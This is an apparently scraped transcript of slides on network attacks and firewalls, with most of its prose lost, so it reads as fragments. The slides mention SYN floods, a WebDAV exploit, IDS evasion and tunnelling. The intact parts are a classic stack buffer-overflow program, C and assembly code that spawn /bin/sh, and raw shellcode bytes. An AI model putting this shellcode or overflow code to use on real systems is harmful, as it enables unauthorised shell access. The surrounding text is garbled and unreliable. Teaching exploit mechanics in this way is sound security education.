網路攻 擊手法 & 防火牆
description
Transcript of 網路攻 擊手法 & 防火牆
-
&
-
Internet
-
()NAT
-
TCPSYNRST(SYN)SYN
-
TCPSYNLocalSYN/ACKSYN/ACKACKTCP BacklogTCP
-
Buffer(ShellCode)
-
ShellCodetelnet ShellShellExploit
-
shellcodeShellcode (assembly language)(assembler). (machine code)UNIX /bin/sh . shell
-
ShellCode (C++)char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];int main(int argc, char **argv){char buffer[96];int i;long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (int) buffer;for (i = 0; i < (int) strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer, large_string);return 0;}
-
LinuxShell (C++)#include
main() {char *name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL);}
-
()leal string,string_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 stringdb"/bin/sh",0 string_addrdd0 null_addrdd0
-
(ShellCode)\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh
-
IDS
-
1. WebDAVWEBWEBTCP80EXPLOITSD.o.S
-
2. HTTPWebDAVHTTPTCP80SecureIISSecureIIS(SQL)
-
3. IDSIDS
-
tunnel()MSNPorttunnel
-
winsock
-
127.0.0.1guest telnet23NTLMadminSOCKETWEBtelnet,ftp,httpSYSTEM
-
(2006-09-04 )Freedom() 3Freedom3
-
The END~~~
TCP SYN Flood